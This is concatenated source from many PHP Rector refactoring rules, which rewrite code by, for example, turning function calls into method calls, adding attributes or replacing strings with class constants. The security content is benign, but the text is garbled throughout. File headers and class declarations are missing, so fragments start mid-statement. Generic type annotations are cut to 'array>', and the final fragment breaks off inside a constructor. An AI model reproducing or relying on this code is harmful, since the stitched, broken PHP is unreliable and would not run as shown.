AttributeKeyToClassConstFetch('Doctrine\\ORM\\Mapping\\Column', 'type', 'Doctrine\\DBAL\\Types\\Types', ['string' => 'STRING'])])]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class, Property::class, Param::class, ClassMethod::class, Function_::class, Closure::class, ArrowFunction::class, Interface_::class]; } /** * @param Class_|Property|Param|ClassMethod|Function_|Closure|ArrowFunction|Interface_ $node */ public function refactor(Node $node) : ?Node { if ($node->attrGroups === []) { return null; } $hasChanged = \false; foreach ($this->attributeKeysToClassConstFetches as $attributeKeyToClassConstFetch) { foreach ($node->attrGroups as $attrGroup) { if ($this->processToClassConstFetch($attrGroup, $attributeKeyToClassConstFetch)) { $hasChanged = \true; } } } if ($hasChanged) { return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, AttributeKeyToClassConstFetch::class); $this->attributeKeysToClassConstFetches = $configuration; } private function processToClassConstFetch(AttributeGroup $attributeGroup, AttributeKeyToClassConstFetch $attributeKeyToClassConstFetch) : bool { $hasChanged = \false; foreach ($attributeGroup->attrs as $attribute) { if (!$this->isName($attribute->name, $attributeKeyToClassConstFetch->getAttributeClass())) { continue; } foreach ($attribute->args as $arg) { $argName = $arg->name; if (!$argName instanceof Identifier) { continue; } if (!$this->isName($argName, $attributeKeyToClassConstFetch->getAttributeKey())) { continue; } if ($this->processArg($arg, $attributeKeyToClassConstFetch)) { $hasChanged = \true; } } } return $hasChanged; } private function processArg(Arg $arg, AttributeKeyToClassConstFetch $attributeKeyToClassConstFetch) : bool { $value = $this->valueResolver->getValue($arg->value); $constName = $attributeKeyToClassConstFetch->getValuesToConstantsMap()[$value] ?? null; if ($constName === null) { return \false; } $classConstFetch = $this->nodeFactory->createClassConstFetch($attributeKeyToClassConstFetch->getConstantClass(), $constName); if ($arg->value instanceof ClassConstFetch && $this->getName($arg->value) === $this->getName($classConstFetch)) { return \false; } $arg->value = $classConstFetch; return \true; } } phpAttributeAnalyzer = $phpAttributeAnalyzer; $this->phpAttributeGroupFactory = $phpAttributeGroupFactory; $this->reflectionResolver = $reflectionResolver; $this->returnTypeChangedClassMethodReferences = [new ClassMethodReference('ArrayAccess', 'getIterator'), new ClassMethodReference('ArrayAccess', 'offsetGet')]; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add #[\\ReturnTypeWillChange] attribute to configured instanceof class with methods', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class SomeClass implements ArrayAccess { public function offsetGet($offset) { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass implements ArrayAccess { #[\ReturnTypeWillChange] public function offsetGet($offset) { } } CODE_SAMPLE , [new ClassMethodReference('ArrayAccess', 'offsetGet')])]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class, Interface_::class]; } /** * @param Class_|Interface_ $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; $classReflection = $this->reflectionResolver->resolveClassAndAnonymousClass($node); foreach ($node->getMethods() as $classMethod) { if ($this->phpAttributeAnalyzer->hasPhpAttribute($classMethod, AttributeName::RETURN_TYPE_WILL_CHANGE)) { continue; } // the return type is known, no need to add attribute if ($classMethod->returnType instanceof Node) { continue; } foreach ($this->returnTypeChangedClassMethodReferences as $returnTypeChangedClassMethodReference) { if (!$classReflection->isSubclassOf($returnTypeChangedClassMethodReference->getClass())) { continue; } if (!$this->isName($classMethod, $returnTypeChangedClassMethodReference->getMethod())) { continue; } $classMethod->attrGroups[] = $this->phpAttributeGroupFactory->createFromClass(AttributeName::RETURN_TYPE_WILL_CHANGE); $hasChanged = \true; break; } } if ($hasChanged) { return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsInstanceOf($configuration, ClassMethodReference::class); $this->returnTypeChangedClassMethodReferences = \array_merge($this->returnTypeChangedClassMethodReferences, $configuration); } public function provideMinPhpVersion() : int { return PhpVersionFeature::RETURN_TYPE_WILL_CHANGE_ATTRIBUTE; } } > */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; foreach ($this->typeMethodWraps as $typeMethodWrap) { if (!$this->isObjectType($node, $typeMethodWrap->getObjectType())) { continue; } foreach ($node->getMethods() as $classMethod) { if (!$this->isName($classMethod, $typeMethodWrap->getMethod())) { continue; } if ($node->stmts === null) { continue; } $this->wrap($classMethod, $typeMethodWrap->isArrayWrap()); $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, WrapReturn::class); $this->typeMethodWraps = $configuration; } private function wrap(ClassMethod $classMethod, bool $isArrayWrap) : ?ClassMethod { if (!\is_iterable($classMethod->stmts)) { return null; } foreach ($classMethod->stmts as $key => $stmt) { if ($stmt instanceof Return_ && $stmt->expr instanceof Expr) { if ($isArrayWrap && !$stmt->expr instanceof Array_) { $stmt->expr = new Array_([new ArrayItem($stmt->expr)]); } $classMethod->stmts[$key] = $stmt; } } return $classMethod; } } */ private $transformOnNamespaces = []; public function __construct(FamilyRelationsAnalyzer $familyRelationsAnalyzer, PhpAttributeAnalyzer $phpAttributeAnalyzer, PhpAttributeGroupFactory $phpAttributeGroupFactory, ReflectionProvider $reflectionProvider) { $this->familyRelationsAnalyzer = $familyRelationsAnalyzer; $this->phpAttributeAnalyzer = $phpAttributeAnalyzer; $this->phpAttributeGroupFactory = $phpAttributeGroupFactory; $this->reflectionProvider = $reflectionProvider; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add the `AllowDynamicProperties` attribute to all classes', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' namespace Example\Domain; class SomeObject { public string $someProperty = 'hello world'; } CODE_SAMPLE , <<<'CODE_SAMPLE' namespace Example\Domain; #[AllowDynamicProperties] class SomeObject { public string $someProperty = 'hello world'; } CODE_SAMPLE , ['Example\\*'])]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } public function configure(array $configuration) : void { $transformOnNamespaces = $configuration; Assert::allString($transformOnNamespaces); $this->transformOnNamespaces = $transformOnNamespaces; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if ($this->shouldSkip($node)) { return null; } return $this->addAllowDynamicPropertiesAttribute($node); } public function provideMinPhpVersion() : int { return PhpVersionFeature::DEPRECATE_DYNAMIC_PROPERTIES; } private function isDescendantOfStdclass(Class_ $class) : bool { if (!$class->extends instanceof FullyQualified) { return \false; } $ancestorClassNames = $this->familyRelationsAnalyzer->getClassLikeAncestorNames($class); return \in_array('stdClass', $ancestorClassNames, \true); } private function hasNeededAttributeAlready(Class_ $class) : bool { $nodeHasAttribute = $this->phpAttributeAnalyzer->hasPhpAttribute($class, AttributeName::ALLOW_DYNAMIC_PROPERTIES); if ($nodeHasAttribute) { return \true; } if (!$class->extends instanceof FullyQualified) { return \false; } return $this->phpAttributeAnalyzer->hasInheritedPhpAttribute($class, AttributeName::ALLOW_DYNAMIC_PROPERTIES); } private function addAllowDynamicPropertiesAttribute(Class_ $class) : Class_ { $class->attrGroups[] = $this->phpAttributeGroupFactory->createFromClass(AttributeName::ALLOW_DYNAMIC_PROPERTIES); return $class; } private function shouldSkip(Class_ $class) : bool { if ($this->isDescendantOfStdclass($class)) { return \true; } if ($this->hasNeededAttributeAlready($class)) { return \true; } if ($this->hasMagicSetMethod($class)) { return \true; } if ($this->transformOnNamespaces !== []) { $className = (string) $this->getName($class); return !$this->isExistsWithWildCards($className) && !$this->isExistsWithClassName($className); } return \false; } private function isExistsWithWildCards(string $className) : bool { $wildcardTransformOnNamespaces = \array_filter($this->transformOnNamespaces, static function (string $transformOnNamespace) : bool { return \strpos($transformOnNamespace, '*') !== \false; }); foreach ($wildcardTransformOnNamespaces as $wildcardTransformOnNamespace) { if (!\fnmatch($wildcardTransformOnNamespace, $className, \FNM_NOESCAPE)) { continue; } return \true; } return \false; } private function isExistsWithClassName(string $className) : bool { $transformedClassNames = \array_filter($this->transformOnNamespaces, static function (string $transformOnNamespace) : bool { return \strpos($transformOnNamespace, '*') === \false; }); foreach ($transformedClassNames as $transformedClassName) { if (!$this->nodeNameResolver->isStringName($className, $transformedClassName)) { continue; } return \true; } return \false; } private function hasMagicSetMethod(Class_ $class) : bool { $className = (string) $this->getName($class); $classReflection = $this->reflectionProvider->getClass($className); return $classReflection->hasMethod(MethodName::__SET); } } */ private $interfaceByTrait = []; public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add interface by used trait', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class SomeClass { use SomeTrait; } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass implements SomeInterface { use SomeTrait; } CODE_SAMPLE , ['SomeTrait' => 'SomeInterface'])]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { $classReflection = $scope->getClassReflection(); if (!$classReflection instanceof ClassReflection) { return null; } $hasChanged = \false; foreach ($this->interfaceByTrait as $traitName => $interfaceName) { if (!$classReflection->hasTraitUse($traitName)) { continue; } if ($classReflection->implementsInterface($interfaceName)) { continue; } $node->implements[] = new FullyQualified($interfaceName); $hasChanged = \true; } if (!$hasChanged) { return null; } return $node; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allString(\array_keys($configuration)); Assert::allString($configuration); $this->interfaceByTrait = $configuration; } } */ private $oldToNewInterfaces = []; public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Merges old interface to a new one, that already has its methods', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class SomeClass implements SomeInterface, SomeOldInterface { } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass implements SomeInterface { } CODE_SAMPLE , ['SomeOldInterface' => 'SomeInterface'])]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if ($node->implements === []) { return null; } $hasChanged = \false; foreach ($node->implements as $key => $implement) { $oldInterfaces = \array_keys($this->oldToNewInterfaces); if (!$this->isNames($implement, $oldInterfaces)) { continue; } $interface = $this->getName($implement); $node->implements[$key] = new Name($this->oldToNewInterfaces[$interface]); $hasChanged = \true; } if (!$hasChanged) { return null; } $this->makeImplementsUnique($node); return $node; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allString(\array_keys($configuration)); Assert::allString($configuration); $this->oldToNewInterfaces = $configuration; } private function makeImplementsUnique(Class_ $class) : void { $alreadyAddedNames = []; /** @var array $implements */ $implements = $class->implements; foreach ($implements as $key => $name) { $fqnName = $this->getName($name); if (\in_array($fqnName, $alreadyAddedNames, \true)) { unset($class->implements[$key]); continue; } $alreadyAddedNames[] = $fqnName; } } } classAnalyzer = $classAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Replaces parent class to specific traits', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class SomeClass extends Nette\Object { } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { use Nette\SmartObject; } CODE_SAMPLE , [new ParentClassToTraits('Nette\\Object', ['Nette\\SmartObject'])])]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $parentExtends = $node->extends; if (!$parentExtends instanceof Name) { return null; } if ($this->classAnalyzer->isAnonymousClass($node)) { return null; } $traitUses = []; foreach ($this->parentClassToTraits as $parentClassToTrait) { if (!$this->isName($parentExtends, $parentClassToTrait->getParentType())) { continue; } foreach ($parentClassToTrait->getTraitNames() as $traitName) { $traitUses[] = new TraitUse([new FullyQualified($traitName)]); } $this->removeParentClass($node); } if ($traitUses === []) { return null; } $node->stmts = \array_merge($traitUses, $node->stmts); return $node; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, ParentClassToTraits::class); $this->parentClassToTraits = $configuration; } private function removeParentClass(Class_ $class) : void { $class->extends = null; } } constFetchToClassConsts as $constFetchToClassConst) { if (!$this->isName($node, $constFetchToClassConst->getOldConstName())) { continue; } return $this->nodeFactory->createClassConstFetch($constFetchToClassConst->getNewClassName(), $constFetchToClassConst->getNewConstName()); } return null; } public function configure(array $configuration) : void { Assert::allIsAOf($configuration, ConstFetchToClassConstFetch::class); $this->constFetchToClassConsts = $configuration; } } rule(SomeRector::class); }; CODE_SAMPLE , <<<'CODE_SAMPLE' return RectorConfig::configure()->rules([SomeRector::class]); CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FileWithoutNamespace::class]; } /** * @param FileWithoutNamespace $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; foreach ($node->stmts as $stmt) { if (!$stmt instanceof Return_) { continue; } if (!$stmt->expr instanceof Closure) { continue; } if (\count($stmt->expr->params) !== 1) { continue; } $param = $stmt->expr->params[0]; if (!$param->type instanceof FullyQualified) { continue; } if ($param->type->toString() !== 'Rector\\Config\\RectorConfig') { continue; } $stmts = $stmt->expr->stmts; if ($stmts === []) { throw new ShouldNotHappenException('RectorConfig must have at least 1 stmts'); } $newExpr = new StaticCall(new FullyQualified('Rector\\Config\\RectorConfig'), 'configure'); $rules = new Array_(); $paths = new Array_(); $skips = new Array_(); $autoloadPaths = new Array_(); $bootstrapFiles = new Array_(); $sets = new Array_(); foreach ($stmts as $rectorConfigStmt) { // complex stmts should be skipped, eg: with if else if (!$rectorConfigStmt instanceof Expression) { return null; } // debugging or variable init? skip if (!$rectorConfigStmt->expr instanceof MethodCall) { return null; } // another method call? skip if (!$this->isObjectType($rectorConfigStmt->expr->var, new ObjectType('Rector\\Config\\RectorConfig'))) { return null; } if ($rectorConfigStmt->expr->isFirstClassCallable()) { return null; } $args = $rectorConfigStmt->expr->getArgs(); $name = $this->getName($rectorConfigStmt->expr->name); if ($name === 'disableParallel') { $newExpr = $this->nodeFactory->createMethodCall($newExpr, 'withoutParallel'); $hasChanged = \true; continue; } $value = $args[0]->value; if ($name === 'rule') { Assert::isAOf($rules, Array_::class); $rules->items[] = new ArrayItem($value); continue; } if ($name === 'rules') { if ($value instanceof Array_) { Assert::isAOf($rules, Array_::class); $rules->items = \array_merge($rules->items, $value->items); } else { $rules = $value; } continue; } if ($name === 'paths') { $paths = $value; continue; } if ($name === 'skip') { $skips = $value; continue; } if ($name === 'autoloadPaths') { Assert::isAOf($value, Array_::class); $autoloadPaths = $value; continue; } if ($name === 'bootstrapFiles') { Assert::isAOf($value, Array_::class); $bootstrapFiles = $value; continue; } if ($name === 'ruleWithConfiguration') { $newExpr = $this->nodeFactory->createMethodCall($newExpr, 'withConfiguredRule', [$value, $args[1]->value]); $hasChanged = \true; continue; } if ($name === 'sets') { Assert::isAOf($value, Array_::class); $sets->items = \array_merge($sets->items, $value->items); continue; } if ($name === 'fileExtensions') { Assert::isAOf($value, Array_::class); $newExpr = $this->nodeFactory->createMethodCall($newExpr, 'withFileExtensions', [$value]); $hasChanged = \true; continue; } if ($name === 'phpVersion') { $newExpr = $this->nodeFactory->createMethodCall($newExpr, 'withPhpVersion', [$value]); $hasChanged = \true; continue; } // implementing method by method return null; } if (!$paths instanceof Array_ || $paths->items !== []) { $newExpr = $this->nodeFactory->createMethodCall($newExpr, 'withPaths', [$paths]); $hasChanged = \true; } if (!$skips instanceof Array_ || $skips->items !== []) { $newExpr = $this->nodeFactory->createMethodCall($newExpr, 'withSkip', [$skips]); $hasChanged = \true; } if (!$rules instanceof Array_ || $rules->items !== []) { $newExpr = $this->nodeFactory->createMethodCall($newExpr, 'withRules', [$rules]); $hasChanged = \true; } if ($autoloadPaths->items !== []) { $newExpr = $this->nodeFactory->createMethodCall($newExpr, 'withAutoloadPaths', [$autoloadPaths]); $hasChanged = \true; } if ($bootstrapFiles->items !== []) { $newExpr = $this->nodeFactory->createMethodCall($newExpr, 'withBootstrapFiles', [$bootstrapFiles]); $hasChanged = \true; } if ($sets->items !== []) { $newExpr = $this->nodeFactory->createMethodCall($newExpr, 'withSets', [$sets]); $hasChanged = \true; } if ($hasChanged) { $stmt->expr = $newExpr; } } if ($hasChanged) { return $node; } return null; } } 'PHP_SAPI'])]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { $functionName = $this->getName($node); if (!\is_string($functionName)) { return null; } if (!\array_key_exists($functionName, $this->functionsToConstants)) { return null; } return new ConstFetch(new Name($this->functionsToConstants[$functionName])); } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allString($configuration); Assert::allString(\array_keys($configuration)); /** @var array $configuration */ $this->functionsToConstants = $configuration; } } funcCallStaticCallToMethodCallAnalyzer = $funcCallStaticCallToMethodCallAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Turns defined function calls to local method calls.', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { view('...'); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { /** * @var \Namespaced\SomeRenderer */ private $someRenderer; public function __construct(\Namespaced\SomeRenderer $someRenderer) { $this->someRenderer = $someRenderer; } public function run() { $this->someRenderer->view('...'); } } CODE_SAMPLE , [new FuncCallToMethodCall('view', 'Namespaced\\SomeRenderer', 'render')])]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; $class = $node; foreach ($node->getMethods() as $classMethod) { if ($classMethod->isStatic()) { continue; } if ($classMethod->isAbstract()) { continue; } $this->traverseNodesWithCallable($classMethod, function (Node $node) use($class, $classMethod, &$hasChanged) : ?Node { if (!$node instanceof FuncCall) { return null; } foreach ($this->funcNameToMethodCallNames as $funcNameToMethodCallName) { if (!$this->isName($node->name, $funcNameToMethodCallName->getOldFuncName())) { continue; } $expr = $this->funcCallStaticCallToMethodCallAnalyzer->matchTypeProvidingExpr($class, $classMethod, $funcNameToMethodCallName->getNewObjectType()); $hasChanged = \true; return $this->nodeFactory->createMethodCall($expr, $funcNameToMethodCallName->getNewMethodName(), $node->args); } return null; }); } if ($hasChanged) { return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, FuncCallToMethodCall::class); $this->funcNameToMethodCallNames = $configuration; } } ['Collection']])]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { foreach ($this->functionToNew as $function => $new) { if (!$this->isName($node, $function)) { continue; } return new New_(new FullyQualified($new), $node->args); } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allString($configuration); $this->functionToNew = $configuration; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { foreach ($this->funcCallsToStaticCalls as $funcCallToStaticCall) { if (!$this->isName($node, $funcCallToStaticCall->getOldFuncName())) { continue; } return $this->nodeFactory->createStaticCall($funcCallToStaticCall->getNewClassName(), $funcCallToStaticCall->getNewMethodName(), $node->args); } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, FuncCallToStaticCall::class); $this->funcCallsToStaticCalls = $configuration; } } render('some_template'); } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function show() { return view('some_template'); } } CODE_SAMPLE , [new MethodCallToFuncCall('SomeClass', 'render', 'view')])]); } /** * @return array> */ public function getNodeTypes() : array { return [MethodCall::class]; } /** * @param MethodCall $node */ public function refactor(Node $node) : ?Node { if ($node->isFirstClassCallable()) { return null; } foreach ($this->methodCallsToFuncCalls as $methodCallToFuncCall) { if (!$this->isName($node->name, $methodCallToFuncCall->getMethodName())) { continue; } if (!$this->isObjectType($node->var, new ObjectType($methodCallToFuncCall->getObjectType()))) { continue; } return new FuncCall(new FullyQualified($methodCallToFuncCall->getFunctionName()), $node->getArgs()); } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsInstanceOf($configuration, MethodCallToFuncCall::class); $this->methodCallsToFuncCalls = $configuration; } } methodCallToNew = $configuration; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change method call to new class', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' $object->createResponse(['a' => 1]); CODE_SAMPLE , <<<'CODE_SAMPLE' new Response(['a' => 1]); CODE_SAMPLE , [new MethodCallToNew(new ObjectType('ResponseFactory'), 'createResponse', 'Response')])]); } public function getNodeTypes() : array { return [MethodCall::class]; } /** * @param MethodCall $node */ public function refactor(Node $node) : ?New_ { if ($node->isFirstClassCallable()) { return null; } foreach ($this->methodCallToNew as $methodCallToNew) { if (!$this->isName($node->name, $methodCallToNew->getMethodName())) { continue; } if (!$this->isObjectType($node->var, $methodCallToNew->getObject())) { continue; } return new New_(new FullyQualified($methodCallToNew->getNewClassString()), $node->args); } return null; } } getFirstname()" to property fetch "$this->firstname"', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $this->getFirstname(); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $this->firstname; } } CODE_SAMPLE , [new MethodCallToPropertyFetch('ExamplePersonClass', 'getFirstname', 'firstname')])]); } /** * @return array> */ public function getNodeTypes() : array { return [MethodCall::class]; } /** * @param MethodCall $node */ public function refactor(Node $node) : ?Node { foreach ($this->methodCallsToPropertyFetches as $methodCallToPropertyFetch) { if (!$this->isName($node->name, $methodCallToPropertyFetch->getOldMethod())) { continue; } if (!$this->isObjectType($node->var, $methodCallToPropertyFetch->getOldObjectType())) { continue; } return $this->nodeFactory->createPropertyFetch($node->var, $methodCallToPropertyFetch->getNewProperty()); } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, MethodCallToPropertyFetch::class); $this->methodCallsToPropertyFetches = $configuration; } } anotherDependency = $anotherDependency; } public function loadConfiguration() { return $this->anotherDependency->process('value'); } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { private $anotherDependency; public function __construct(AnotherDependency $anotherDependency) { $this->anotherDependency = $anotherDependency; } public function loadConfiguration() { return StaticCaller::anotherMethod('value'); } } CODE_SAMPLE , [new MethodCallToStaticCall('AnotherDependency', 'process', 'StaticCaller', 'anotherMethod')])]); } /** * @return array> */ public function getNodeTypes() : array { return [MethodCall::class]; } /** * @param MethodCall $node */ public function refactor(Node $node) : ?Node { foreach ($this->methodCallsToStaticCalls as $methodCallToStaticCall) { if (!$this->isName($node->name, $methodCallToStaticCall->getOldMethod())) { continue; } if (!$this->isObjectType($node->var, $methodCallToStaticCall->getOldObjectType())) { continue; } return $this->nodeFactory->createStaticCall($methodCallToStaticCall->getNewClass(), $methodCallToStaticCall->getNewMethod(), $node->args); } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, MethodCallToStaticCall::class); $this->methodCallsToStaticCalls = $configuration; } } someMethodCall(); } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run(SomeTypeToReplace $someTypeToReplace) { $this->someProperty->someMethodCall(); } } CODE_SAMPLE , [new ReplaceParentCallByPropertyCall('SomeTypeToReplace', 'someMethodCall', 'someProperty')])]); } /** * @return array> */ public function getNodeTypes() : array { return [MethodCall::class]; } /** * @param MethodCall $node */ public function refactor(Node $node) : ?Node { foreach ($this->parentCallToProperties as $parentCallToProperty) { if (!$this->isName($node->name, $parentCallToProperty->getMethod())) { continue; } if (!$this->isObjectType($node->var, $parentCallToProperty->getObjectType())) { continue; } $node->var = $this->nodeFactory->createPropertyFetch('this', $parentCallToProperty->getProperty()); return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, ReplaceParentCallByPropertyCall::class); $this->parentCallToProperties = $configuration; } } > */ public function getNodeTypes() : array { return [New_::class]; } /** * @param New_ $node */ public function refactor(Node $node) : ?Node { foreach ($this->typeToStaticCalls as $typeToStaticCall) { if (!$this->isObjectType($node->class, $typeToStaticCall->getObjectType())) { continue; } return $this->nodeFactory->createStaticCall($typeToStaticCall->getStaticCallClass(), $typeToStaticCall->getStaticCallMethod(), $node->args); } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, NewToStaticCall::class); $this->typeToStaticCalls = $configuration; } } scalarValueToConstFetches as $scalarValueToConstFetch) { if ($node->value === $scalarValueToConstFetch->getScalar()->value) { return $scalarValueToConstFetch->getConstFetch(); } } return null; } public function configure(array $configuration) : void { Assert::allIsAOf($configuration, ScalarValueToConstFetch::class); $this->scalarValueToConstFetches = $configuration; } } > */ public function getNodeTypes() : array { return [StaticCall::class]; } /** * @param StaticCall $node */ public function refactor(Node $node) : ?Node { foreach ($this->staticCallsToFunctions as $staticCallToFunction) { if (!$this->isName($node->name, $staticCallToFunction->getMethod())) { continue; } if (!$this->isObjectType($node->class, $staticCallToFunction->getObjectType())) { continue; } return new FuncCall(new FullyQualified($staticCallToFunction->getFunction()), $node->args); } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, StaticCallToFuncCall::class); $this->staticCallsToFunctions = $configuration; } } funcCallStaticCallToMethodCallAnalyzer = $funcCallStaticCallToMethodCallAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change static call to service method via constructor injection', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' use Nette\Utils\FileSystem; class SomeClass { public function run() { return FileSystem::write('file', 'content'); } } CODE_SAMPLE , <<<'CODE_SAMPLE' use App\Custom\SmartFileSystem; class SomeClass { /** * @var SmartFileSystem */ private $smartFileSystem; public function __construct(SmartFileSystem $smartFileSystem) { $this->smartFileSystem = $smartFileSystem; } public function run() { return $this->smartFileSystem->dumpFile('file', 'content'); } } CODE_SAMPLE , [new StaticCallToMethodCall('Nette\\Utils\\FileSystem', 'write', 'App\\Custom\\SmartFileSystem', 'dumpFile')])]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { $class = $node; $hasChanged = \false; foreach ($node->getMethods() as $classMethod) { $this->traverseNodesWithCallable($classMethod, function (Node $node) use($class, $classMethod, &$hasChanged) { if (!$node instanceof StaticCall) { return null; } foreach ($this->staticCallsToMethodCalls as $staticCallToMethodCall) { if (!$staticCallToMethodCall->isStaticCallMatch($node)) { continue; } if ($classMethod->isStatic()) { return $this->refactorToInstanceCall($node, $staticCallToMethodCall); } $expr = $this->funcCallStaticCallToMethodCallAnalyzer->matchTypeProvidingExpr($class, $classMethod, $staticCallToMethodCall->getClassObjectType()); if ($staticCallToMethodCall->getMethodName() === '*') { $methodName = $this->getName($node->name); } else { $methodName = $staticCallToMethodCall->getMethodName(); } if (!\is_string($methodName)) { throw new ShouldNotHappenException(); } $hasChanged = \true; return new MethodCall($expr, $methodName, $node->args); } return $node; }); } if ($hasChanged) { return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, StaticCallToMethodCall::class); $this->staticCallsToMethodCalls = $configuration; } private function refactorToInstanceCall(StaticCall $staticCall, StaticCallToMethodCall $staticCallToMethodCall) : MethodCall { $new = new New_(new FullyQualified($staticCallToMethodCall->getClassType())); return new MethodCall($new, $staticCallToMethodCall->getMethodName(), $staticCall->args); } } 'bar'], Response::HTTP_OK); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $dotenv = new JsonResponse(['foo' => 'bar'], Response::HTTP_OK); } } CODE_SAMPLE , [new StaticCallToNew('JsonResponse', 'create')])]); } /** * @return array> */ public function getNodeTypes() : array { return [StaticCall::class]; } /** * @param StaticCall $node */ public function refactor(Node $node) : ?Node { foreach ($this->staticCallsToNews as $staticCallToNew) { if (!$this->isName($node->class, $staticCallToNew->getClass())) { continue; } if (!$this->isName($node->name, $staticCallToNew->getMethod())) { continue; } $class = $this->getName($node->class); if ($class === null) { continue; } return new New_(new FullyQualified($class), $node->args); } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, StaticCallToNew::class); $this->staticCallsToNews = $configuration; } } valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes strings to specific constants', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' final class SomeSubscriber { public static function getSubscribedEvents() { return ['compiler.post_dump' => 'compile']; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeSubscriber { public static function getSubscribedEvents() { return [\Yet\AnotherClass::CONSTANT => 'compile']; } } CODE_SAMPLE , [new StringToClassConstant('compiler.post_dump', 'Yet\\AnotherClass', 'CONSTANT')])]); } /** * @return array> */ public function getNodeTypes() : array { return [String_::class]; } /** * @param String_ $node */ public function refactor(Node $node) : ?Node { foreach ($this->stringsToClassConstants as $stringToClassConstant) { if (!$this->valueResolver->isValue($node, $stringToClassConstant->getString())) { continue; } return $this->nodeFactory->createClassConstFetch($stringToClassConstant->getClass(), $stringToClassConstant->getConstant()); } return $node; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, StringToClassConstant::class); $this->stringsToClassConstants = $configuration; } } objectType = $objectType; $this->method = $method; } public function getObjectType() : ObjectType { return $this->objectType; } public function getMethod() : string { return $this->method; } } * @readonly */ private $valuesToConstantsMap; /** * @param array $valuesToConstantsMap */ public function __construct(string $attributeClass, string $attributeKey, string $constantClass, array $valuesToConstantsMap) { $this->attributeClass = $attributeClass; $this->attributeKey = $attributeKey; $this->constantClass = $constantClass; 